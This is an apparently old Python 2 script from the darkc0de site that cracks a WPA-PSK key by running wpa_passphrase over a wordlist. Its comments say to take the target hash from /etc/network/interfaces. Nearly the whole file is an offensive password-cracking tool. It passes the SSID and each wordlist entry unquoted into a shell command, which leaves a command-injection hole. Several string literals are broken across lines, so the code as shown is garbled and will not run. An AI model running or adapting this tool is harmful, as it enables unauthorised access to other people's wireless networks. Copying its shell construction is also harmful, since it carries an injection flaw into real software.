wpacrack.py.txt

wpacrack.py.txt

#!/usr/bin/python
#Cracks a 256-bit WPA-PSK hash (64 char) using wpa_passphrase
#and a wordlist.

#This uses the linux tool wpa_passphrase to generate a 256-bit PSK. 
#Make sure you have this tool prier to using this cracker.

#d3hydr8@linuxbox:~$ man wpa_passphrase
#d3hydr8@linuxbox:~$ wpa_passphrase  

#Check the /etc/network/interfaces file for this hash. It will look something like this.
 
#auto lo 
#iface lo inet loopback 
 
#iface eth1 inet dhcp 
#wpa-psk 11f3833adac3ed17ad05031c18170597ae0f911eed618927513c5d40a800b9d8 
#wpa-driver wext 
#wpa-key-mgmt WPA-PSK 
#wpa-proto WPA 
#wpa-ssid darkc0de 
 
#auto eth1 

#Hash: 11f3833adac3ed17ad05031c18170597ae0f911eed618927513c5d40a800b9d8

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com 

import md5, sys, commands, getopt, StringIO, re

def gethash(word):
	cmd = "wpa_passphrase "+sys.argv[2]+" "+word
	out = StringIO.StringIO(commands.getstatusoutput(cmd)[1]).read()
	hash = re.findall("[a-f0-9]"*64,out)
	if len(hash) > 0:
		return hash[0]

if len(sys.argv) != 4:
	print "Usage: ./wpacrack.py   "
	sys.exit(1)

if len(sys.argv[1]) != 64:
  print "
Error: Hash length incorrect (64 char)
"
  sys.exit(1)
	
try:
  words = open(sys.argv[3], "r").readlines()
except(IOError): 
  print "
Error: Check your wordlist path
"
  sys.exit(1)

print "
",len(words),"words loaded..."
for word in words:
	hash = gethash(word.replace("
",""))
	if sys.argv[1] == hash: 
		print "Password is:",word